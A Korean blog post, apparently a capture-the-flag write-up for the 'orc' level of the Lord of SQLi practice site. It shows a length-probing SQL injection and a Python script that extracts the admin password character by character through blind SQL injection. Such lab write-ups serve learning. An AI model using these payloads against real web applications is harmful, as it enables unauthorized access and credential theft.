• LOS-orc

    2023. 7. 1.

    by. MinYuqShu

    반응형

    문제

    다른 문제들과 다르게 pw를 맞추면 풀리는 문제다. 

     

    일단 비밀번호 길이를 알아보자.

     

    pw=1%27%20or%20length(pw)=%278

     

    pw='1' or length(pw)='8'

     

     

    비밀번호를 알아냄

    비밀번호가 8자리다. 

     

    그럼 블라인드 SQLi로 admin의 비밀번호를 알아내야한다.

     

    import requests
    
    URL = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
    cookies = {'PHPSESSID': '각자 쿠키값'}
    password = ''
    
    for length in range(1,9):#비밀번호 길이 수만큼 반복
        for pw in range(48, 128):#아스키에서 숫자, 알파벳, 특수 문자, 구두점, 공백 포함
            payload = "?pw=1' or id='admin' and ascii(substr(pw, " + str(length) + ", 1))="+str(pw) + "%23"
            #?pw=1' or id='admin' and ascii(substr(pw,n번째,1))=문자열#
        
            full_url = URL + payload
            res = requests.get(full_url, cookies=cookies)
            if 'Hello admin' in res.text:#Hello admin으로 로그인 되면 비밀번호 추가
                password = password + chr(pw)
                print(str(length) + "번째 비밀 번호는: " + password)
                break
    print("비밀번호는 "+password)

    clear!

    반응형

    '웹해킹' 카테고리의 다른 글

    LOS-darkelf  (0) 2023.07.01
    LOS-wolfman  (0) 2023.07.01
    LOS-goblin  (0) 2023.07.01
    LOS-cobolt  (0) 2023.06.30
    LOS-gremlin  (0) 2023.06.30

    댓글